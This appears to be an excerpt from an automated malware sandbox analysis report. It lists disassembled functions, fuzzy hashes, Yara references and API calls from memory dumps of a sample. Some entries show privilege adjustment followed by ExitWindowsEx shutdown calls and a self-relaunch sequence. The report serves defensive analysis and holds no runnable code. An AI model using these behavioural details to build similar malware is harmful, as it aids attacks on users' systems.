Instruction Fuzzy Hash: A1328B76B882C68AF764AF65D090BEC37B7A350748F56802ECE4667AC5D739CE478700

Function 000001CFB95C8831 Relevance: 3.3, APIs: 2, Instructions: 311COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 000001CFB95C8AA3
_get_daylight.LIBCMT ref: 000001CFB95C8B29

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _get_daylight
String ID:
API String ID: 4143689357-0
Opcode ID: 382fc29538bcfa4a5651e63f289fab288ad892ffe1de4efe1d8fd15b971a8192
Instruction ID: fcbf14843cc1a38121f0904e549e824074345803d8b565655f156d3e248433e3
Opcode Fuzzy Hash: 382fc29538bcfa4a5651e63f289fab288ad892ffe1de4efe1d8fd15b971a8192
Instruction Fuzzy Hash: 0BA134727946414BE71C8B18CD827F573F7E399304F14913EDA86CBA96EB30EA038681

Function 000001CFB95C41C1 Relevance: 3.2, APIs: 2, Instructions: 240COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_error_mode.LIBCMT ref: 000001CFB95C4206
_set_error_mode.LIBCMT ref: 000001CFB95C4217

Part of subcall function 000001CFB95C2505: _errno.LIBCMT ref: 000001CFB95C2524
Part of subcall function 000001CFB95C2505: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB95C2530

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _set_error_mode$_errno_invalid_parameter_noinfo
String ID:
API String ID: 1239817535-0
Opcode ID: d3cf21d439a7a2adc3bf91effe72efd9b1260cb70a201c5d72699df0ac142f71
Instruction ID: ddfd5831888e5406394feb5293d4cdd3918f86ce7e4f448116565e9f9c6bf67d
Opcode Fuzzy Hash: d3cf21d439a7a2adc3bf91effe72efd9b1260cb70a201c5d72699df0ac142f71
Instruction Fuzzy Hash: 8461A9322989484BFB5CEF28E955BEA72F6E794300F00453EE44BC29D6DF24DE478646

Function 000001CFB939A30C Relevance: 3.2, APIs: 2, Instructions: 240COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_error_mode.LIBCMT ref: 000001CFB939A351
_set_error_mode.LIBCMT ref: 000001CFB939A362

Part of subcall function 000001CFB939DE90: _errno.LIBCMT ref: 000001CFB939DEAF
Part of subcall function 000001CFB939DE90: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB939DEBB

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _set_error_mode$_errno_invalid_parameter_noinfo
String ID:
API String ID: 1239817535-0
Opcode ID: 44de1f721c027da7a128cc94a5ad70c9ea0fd816ea6c17f66893cfbd735dff7b
Instruction ID: e3bce266b9bf17945730c6ae6b2607eb783aaa15c511d7da643e005285d73f52
Opcode Fuzzy Hash: 44de1f721c027da7a128cc94a5ad70c9ea0fd816ea6c17f66893cfbd735dff7b
Instruction Fuzzy Hash: E1619C312589884BF758EB24D8567AA73EAEF94300F19463EE45BC21D2DF34DE078645

Function 000001CFB9618D60 Relevance: 3.2, APIs: 2, Instructions: 235COMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 000001CFB9618FD2

Part of subcall function 000001CFB961964C: _errno.LIBCMT ref: 000001CFB9619655
Part of subcall function 000001CFB961964C: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB9619660

_get_daylight.LIBCMT ref: 000001CFB9619058

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _get_daylight$_errno_invalid_parameter_noinfo
String ID:
API String ID: 3559991230-0
Opcode ID: d84d57091f44413cdc9148be0dd6de948942e62ba8049d02f095d25ff52d526e
Instruction ID: 98f5f661348231132a625482f51f1348618e63428d9fad6c25db781f9edddb00
Opcode Fuzzy Hash: d84d57091f44413cdc9148be0dd6de948942e62ba8049d02f095d25ff52d526e
Instruction Fuzzy Hash: 00912772B542964BF75C8B28E981BD876B7F3A5340F54A13DEA058BB94DB38DF028740

Function 000001CFB960D1D7 Relevance: 3.0, APIs: 2, Instructions: 23shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 000001CFB960EC30: GetModuleFileNameW.KERNEL32 ref: 000001CFB960EC5B
Part of subcall function 000001CFB960EC30: GetCommandLineW.KERNEL32 ref: 000001CFB960EC61
Part of subcall function 000001CFB960EC30: GetStartupInfoW.KERNEL32 ref: 000001CFB960EC6F
Part of subcall function 000001CFB960EC30: CreateProcessW.KERNEL32 ref: 000001CFB960ECB2
Part of subcall function 000001CFB960EC30: ExitProcess.KERNEL32 ref: 000001CFB960ECBB
Part of subcall function 000001CFB960EC30: lstrlenW.KERNEL32 ref: 000001CFB960ECE0

ExitProcess.KERNEL32 ref: 000001CFB960D1DF

Part of subcall function 000001CFB9609240: GetCurrentProcess.KERNEL32 ref: 000001CFB9609257
Part of subcall function 000001CFB9609240: OpenProcessToken.ADVAPI32 ref: 000001CFB960926A
Part of subcall function 000001CFB9609240: LookupPrivilegeValueW.ADVAPI32 ref: 000001CFB9609295
Part of subcall function 000001CFB9609240: AdjustTokenPrivileges.ADVAPI32 ref: 000001CFB96092B8
Part of subcall function 000001CFB9609240: GetLastError.KERNEL32 ref: 000001CFB96092BE
Part of subcall function 000001CFB9609240: CloseHandle.KERNEL32 ref: 000001CFB96092CD

ExitWindowsEx.USER32 ref: 000001CFB960D1F5

Part of subcall function 000001CFB9609240: CloseHandle.KERNEL32 ref: 000001CFB96092E8

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Process$Exit$CloseHandleToken$AdjustCommandCreateCurrentErrorFileInfoLastLineLookupModuleNameOpenPrivilegePrivilegesStartupValueWindowslstrlen
String ID:
API String ID: 3142400414-0
Opcode ID: 788a4e281b37902058700dad6e42fdf71151ef46b325db7974496d36cbdcfe6c
Instruction ID: c909bd9de12979546194144b4a8a6576bbd0084bb35a2423482b17dc932e552b
Opcode Fuzzy Hash: 788a4e281b37902058700dad6e42fdf71151ef46b325db7974496d36cbdcfe6c
Instruction Fuzzy Hash: FBE01A326944C586F72AA730F592BD9B633BB44765F04453F8A5A42582CF39CED6D600

Function 000001CFB95B88F1 Relevance: 2.8, Strings: 2, Instructions: 328COMMON

Download Yara Rule

Strings

@, xrefs: 000001CFB95B8B96
h, xrefs: 000001CFB95B895C

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID:
String ID: @$h
API String ID: 0-1029331998
Opcode ID: a97d71568bbf18846906c7cfef66eb8c9853d60e9d6f82541070b3eacffee3a6
Instruction ID: c84d09991042579d01b48d9ae2232a3fa1e8811e116959133946011223c779bb
Opcode Fuzzy Hash: a97d71568bbf18846906c7cfef66eb8c9853d60e9d6f82541070b3eacffee3a6
Instruction Fuzzy Hash: 9EB19430658B488FEB69EF28D8597EA77E1FB98305F10452EE44AC3251DF38D646CB42

Function 000001CFB95BADD1 Relevance: 2.7, Strings: 2, Instructions: 239COMMON

Download Yara Rule

Strings

<, xrefs: 000001CFB95BAE58
<, xrefs: 000001CFB95BAE5F

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID:
String ID: <$<
API String ID: 0-213342407
Opcode ID: 24aada4ce3280c41e272b614e4f9f9879b9851271430bc6b136f973133d6a926
Instruction ID: cd5a7d7d3bc15cc897d978bdb2041b96bf4d3e4636f26c301cd1f9b8e7f6934e
Opcode Fuzzy Hash: 24aada4ce3280c41e272b614e4f9f9879b9851271430bc6b136f973133d6a926
Instruction Fuzzy Hash: 84915EB0554B498FEB98DF28D4D47D53BE5FB09704F0481BEAC0ECE29ADB7489418B90

Function 000001CFB9396F70 Relevance: 2.7, Strings: 2, Instructions: 239COMMON

Download Yara Rule

Strings

<, xrefs: 000001CFB9396FFE
<, xrefs: 000001CFB9396FF7

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID:
String ID: <$<
API String ID: 0-213342407
Opcode ID: 47459b797082c8b7eb25fa5cb46af73bb2a09a72297e0462ec03d068e4451642
Instruction ID: 31fb2be25084ce2f219f51ca923aacb9527921b16e2a8cbf758d3daa8cdeaa7e
Opcode Fuzzy Hash: 47459b797082c8b7eb25fa5cb46af73bb2a09a72297e0462ec03d068e4451642
Instruction Fuzzy Hash: CB9149B06446498FEB98DF28D4947D53BE5FB08704F1881BEAC4ECE29ACB748941CB90

Function 000001CFB95BE131 Relevance: 2.7, Strings: 2, Instructions: 220COMMON

Download Yara Rule

Strings

, xrefs: 000001CFB95BE1D3
h, xrefs: 000001CFB95BE315

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID:
String ID: $h
API String ID: 0-1972213566
Opcode ID: 8d2d61350d6f293ff3527d0ff84e7f1ed3c0625585c1f404535a63bcadf46a6a
Instruction ID: f883986aadee4361b1018d06f95ed75ae0bbf684160031f4d63363ccbb56d298
Opcode Fuzzy Hash: 8d2d61350d6f293ff3527d0ff84e7f1ed3c0625585c1f404535a63bcadf46a6a
Instruction Fuzzy Hash: 1C718E35598A8C8BFB25EF58D855BEA77F2FB94300F44413EE40AC2191DF34DA468A82

Function 000001CFB95B9081 Relevance: 2.7, Strings: 2, Instructions: 164COMMON

Download Yara Rule

Strings

@, xrefs: 000001CFB95B91AF
h, xrefs: 000001CFB95B90F5

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID:
String ID: @$h
API String ID: 0-1029331998
Opcode ID: 8242a0b38d6739619cea6be2c0619ee53481b112f57f2e9511afeb4914a93e91
Instruction ID: 184d2cf08e31e02c58d26b45969c8944794b50a6d035af2f453230b14bf197c5
Opcode Fuzzy Hash: 8242a0b38d6739619cea6be2c0619ee53481b112f57f2e9511afeb4914a93e91
Instruction Fuzzy Hash: BE51A23055CB888FEB24EF58D896BEAB7F1FB98304F10452EA44AC3151DB74DA05CB82

Function 000001CFB95B6281 Relevance: 2.0, APIs: 1, Instructions: 508COMMON

Download Yara Rule

APIs

Part of subcall function 000001CFB95C19C9: malloc.LIBCMT ref: 000001CFB95C19E3

Part of subcall function 000001CFB95C28F1: _errno.LIBCMT ref: 000001CFB95C290F
Part of subcall function 000001CFB95C28F1: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB95C291B

Part of subcall function 000001CFB95C28F1: _errno.LIBCMT ref: 000001CFB95C295D

_localtime64.LIBCMT ref: 000001CFB95B6740

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfo_localtime64malloc
String ID:
API String ID: 1702167547-0
Opcode ID: 44d2e760dda43dbf13317c7bf008e214a40517cd38aa3ded51e03e7d631a4a7d
Instruction ID: 594d950ff16d14e9ef40ec67f0a45c4ff400bac4d208a96c1927163128899759
Opcode Fuzzy Hash: 44d2e760dda43dbf13317c7bf008e214a40517cd38aa3ded51e03e7d631a4a7d
Instruction Fuzzy Hash: 19026031254A498BEB19EF64D895BEAB7F5FB54300F10462EE44BC31A1DF34EA46CB81

Function 000001CFB9602850 Relevance: 1.8, Strings: 1, Instructions: 599COMMON

Download Yara Rule

Strings

[RO] %ld bytes, xrefs: 000001CFB960299A, 000001CFB9602EF8, 000001CFB960305F

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID:
String ID: [RO] %ld bytes
API String ID: 0-772938740
Opcode ID: 218e82a59ff176e99e028429beedeec697ba52a67a3518fe24719756c9e29cb6
Instruction ID: 28786784c49d61b41d24a69036c78cc6577665db7e6f7851566a808771f11edc
Opcode Fuzzy Hash: 218e82a59ff176e99e028429beedeec697ba52a67a3518fe24719756c9e29cb6
Instruction Fuzzy Hash: A552BE332092C48BD369CF29E48079EBBB2F365B48F448129DBC587B45DB78D955CB50

Function 000001CFB960D228 Relevance: 1.5, APIs: 1, Instructions: 18shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 000001CFB9609240: GetCurrentProcess.KERNEL32 ref: 000001CFB9609257
Part of subcall function 000001CFB9609240: OpenProcessToken.ADVAPI32 ref: 000001CFB960926A
Part of subcall function 000001CFB9609240: LookupPrivilegeValueW.ADVAPI32 ref: 000001CFB9609295
Part of subcall function 000001CFB9609240: AdjustTokenPrivileges.ADVAPI32 ref: 000001CFB96092B8
Part of subcall function 000001CFB9609240: GetLastError.KERNEL32 ref: 000001CFB96092BE
Part of subcall function 000001CFB9609240: CloseHandle.KERNEL32 ref: 000001CFB96092CD

ExitWindowsEx.USER32 ref: 000001CFB960D237

Part of subcall function 000001CFB9609240: CloseHandle.KERNEL32 ref: 000001CFB96092E8

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID:
API String ID: 681424410-0
Opcode ID: 93a8e1aa9685086c030a71d488bf693f7fa0a72fa2686f4aa742a69fa3c107b5
Instruction ID: ed91b83b7c027b8ad30fa5463758637895bb2f04cce32200113d8ca4e6a378b6
Opcode Fuzzy Hash: 93a8e1aa9685086c030a71d488bf693f7fa0a72fa2686f4aa742a69fa3c107b5
Instruction Fuzzy Hash: 04E0C2332840C081F32AA720F482BD9B233B780324F04413B4A4E021C2CF38CAC7DA00

Function 000001CFB960D207 Relevance: 1.5, APIs: 1, Instructions: 18shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 000001CFB9609240: GetCurrentProcess.KERNEL32 ref: 000001CFB9609257
Part of subcall function 000001CFB9609240: OpenProcessToken.ADVAPI32 ref: 000001CFB960926A
Part of subcall function 000001CFB9609240: LookupPrivilegeValueW.ADVAPI32 ref: 000001CFB9609295
Part of subcall function 000001CFB9609240: AdjustTokenPrivileges.ADVAPI32 ref: 000001CFB96092B8
Part of subcall function 000001CFB9609240: GetLastError.KERNEL32 ref: 000001CFB96092BE
Part of subcall function 000001CFB9609240: CloseHandle.KERNEL32 ref: 000001CFB96092CD

ExitWindowsEx.USER32 ref: 000001CFB960D216

Part of subcall function 000001CFB9609240: CloseHandle.KERNEL32 ref: 000001CFB96092E8

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID:
API String ID: 681424410-0
Opcode ID: f9c136346c28e24139ecf9977f6f02e26cd8405fe4c95f24200669176c7a3179
Instruction ID: eb5a1030821172c7ca6e446dfd4c1e54f3eaa25ade0f3891b7bf7fc9086d841b
Opcode Fuzzy Hash: f9c136346c28e24139ecf9977f6f02e26cd8405fe4c95f24200669176c7a3179
Instruction Fuzzy Hash: 7AE0C2332840C081F32AA721F482BD9B233B780324F04413B4A4E021C2CF38CAC7CA00

Function 000001CFB95B2E51 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

0u, xrefs: 000001CFB95B3036

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID:
String ID: 0u
API String ID: 0-3203441087
Opcode ID: a50af36ce21d724d32510f30f67425397a92edc2e917600e6b54eddaabb5a364
Instruction ID: a131127682b71e1c971cfde7ebd4d9a972b3b7044b9c3ef003ebae72fb441bc7
Opcode Fuzzy Hash: a50af36ce21d724d32510f30f67425397a92edc2e917600e6b54eddaabb5a364
Instruction Fuzzy Hash: 3A91837051CB488FE768DF28D4457AAB7E1FB98704F10492EE58EC3251DB38E9468B86

Function 000001CFB95C08A1 Relevance: 1.4, Strings: 1, Instructions: 180COMMON

Download Yara Rule

Strings

<, xrefs: 000001CFB95C0A17

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: 2d6702176b69cc6d6af2b854d888f0dc5976ce2415f525eedc55411690976e19
Instruction ID: 9083c99a5997074d38f6860cfdffa8ff082e8211902815607b0c722edcb3d096
Opcode Fuzzy Hash: 2d6702176b69cc6d6af2b854d888f0dc5976ce2415f525eedc55411690976e19
Instruction Fuzzy Hash: 0851BD31248A088FFB54EF28DC49BA577F2FB99305F50812DE44AC76A0DF39D9468B81

Function 000001CFB95B2321 Relevance: .8, Instructions: 814COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9178eafdae48648c701357c9b4d2abeaac436571c9b2d13e72b69692db90ecf
Instruction ID: 2735e11f0debebf2fa7f002991b456f5f3d721e8f9c47271a7cb16ddef2a51fa
Opcode Fuzzy Hash: a9178eafdae48648c701357c9b4d2abeaac436571c9b2d13e72b69692db90ecf
Instruction Fuzzy Hash: 03627C302587898FE769CF1CC5817A5BBE1FB69300F54856DD8CACB742D630E946CBA2

Function 000001CFB9392880 Relevance: .8, Instructions: 813COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85f7673b5705745678ab15cf1bc7445a9931d7babfdc20a30f97ec3237345cf9
Instruction ID: a88bf058367469e8fd2fb594ab275a97a43738abd658ac051545064acad51160
Opcode Fuzzy Hash: 85f7673b5705745678ab15cf1bc7445a9931d7babfdc20a30f97ec3237345cf9
Instruction Fuzzy Hash: 00626930618B858FE769CF1CC481799BBE1FB59300F58856DD8CACB782D670E946CB92

Function 000001CFB960A310 Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ccd6d35c154ce40b5ae276d5133331140d23bdc9e0cb74280d7a7c6ed341ca4
Instruction ID: a00c6419f38f2c0fae92eeb28d7181981e58f5d448799c6b0a251b6a36795e6f
Opcode Fuzzy Hash: 9ccd6d35c154ce40b5ae276d5133331140d23bdc9e0cb74280d7a7c6ed341ca4
Instruction Fuzzy Hash: 8D22C477B785514BD71CCB19E892FA977A2F394308709A52CEA17D3F44DA3DEA06CA00

Function 000001CFB95C0271 Relevance: .5, Instructions: 451COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfo$malloc
String ID:
API String ID: 610097836-0
Opcode ID: e7f111ba5dc29d1d22144977cf958d959f161eb9f5cb80e62a8ccba1b0c60566
Instruction ID: d7cf94b291389d6f1a76a89ac4a008aa67db69bf307a6e39a52366c93c0430ae
Opcode Fuzzy Hash: e7f111ba5dc29d1d22144977cf958d959f161eb9f5cb80e62a8ccba1b0c60566
Instruction Fuzzy Hash: 24F18E31558A48CFF768EF28EC95BA977F1FB95301F10422EA446C65A1DF38DA42CB81

Function 000001CFB9311DAD Relevance: .4, Instructions: 429COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4112008325.000001CFB9300000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9300000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54a19d4bb2a1054924f4bfc2abc68d4f449b9e1de2d679b882cf74b481fb4666
Instruction ID: 06869663c125a260a12dc0996e0b28d7533fec084504c1edd048595dc3c7dcce
Opcode Fuzzy Hash: 54a19d4bb2a1054924f4bfc2abc68d4f449b9e1de2d679b882cf74b481fb4666
Instruction Fuzzy Hash: 7CE17731658A598BEB68DF64D889BEDB7F5FF58301F14422DE84AC3250DF30EA528781

Function 000001CFB9313065 Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4112008325.000001CFB9300000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9300000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a66aa8eccb36b3c863fa0cf2326f118ce4658279e53cce5a51b176019e00911a
Instruction ID: 1aeb20cd4cae5365d13f1c0420ca3e24822558dd5ff77a452e4f31a74c402725
Opcode Fuzzy Hash: a66aa8eccb36b3c863fa0cf2326f118ce4658279e53cce5a51b176019e00911a
Instruction Fuzzy Hash: 47D14F31508A488BDF59DF28C889AEAB7E6FF94310F18466DE88AC7155DF30E946CB41

Function 000001CFB95B5421 Relevance: .4, Instructions: 373COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f152fd4d6385ee60000525402d296bb86b16f2d3e42963ade6acf54a13ba947
Instruction ID: 93cc55f34d1d1e57989c6639b7d3307c92fb15131f633ada95fc175b28d539ee
Opcode Fuzzy Hash: 4f152fd4d6385ee60000525402d296bb86b16f2d3e42963ade6acf54a13ba947
Instruction Fuzzy Hash: C1C1E034688A498BEB5CDF2CD585BB9B3E2FB59301F10422DD95AC7586DB30ED538B80

Function 000001CFB95B36A1 Relevance: .4, Instructions: 373COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f9ff294b404581f08feed0f29f9b55a6eb06d3d4334dc09e2da6a0d4b1fcafa
Instruction ID: d9fd2b146fdc10374010290fd528c7d54c6b34b8ff1deafc62c21f5dda2e55ad
Opcode Fuzzy Hash: 5f9ff294b404581f08feed0f29f9b55a6eb06d3d4334dc09e2da6a0d4b1fcafa
Instruction Fuzzy Hash: 53C1C034689E494BEB59DF2CC585BB9B3E2FB95300F10422DE85AD7685DB30ED538B80

Function 000001CFB95B6FE1 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5798e1544e650f95b40f9061c22e2bd83b7a927371cc76c98018ac4bb4a914d0
Instruction ID: f7ee7db15bf166c54128a7d3ef4efab8edb9044c47aa0ac1624b2e6d847f8843
Opcode Fuzzy Hash: 5798e1544e650f95b40f9061c22e2bd83b7a927371cc76c98018ac4bb4a914d0
Instruction Fuzzy Hash: 17A1C43055CA488FEB58EF58D895AEDB7F5FB98300F10422EE44AD71A5DB34DA42CB81

Function 000001CFB93A6C50 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e1e48596fdf5ea50ef3df4a9aab293c2a7286e8955242186005ffd8a8896482
Instruction ID: 3f62919d8970f7d0a08257bfe161d7ec301af30aed1d66e0b939c9f9541123c4
Opcode Fuzzy Hash: 5e1e48596fdf5ea50ef3df4a9aab293c2a7286e8955242186005ffd8a8896482
Instruction Fuzzy Hash: 4E71C8347A42854BEB0C8E1CD88577876DAEB8630AB7CE17DDAD7CB247DA30D9438548

Function 000001CFB9313F49 Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4112008325.000001CFB9300000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9300000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
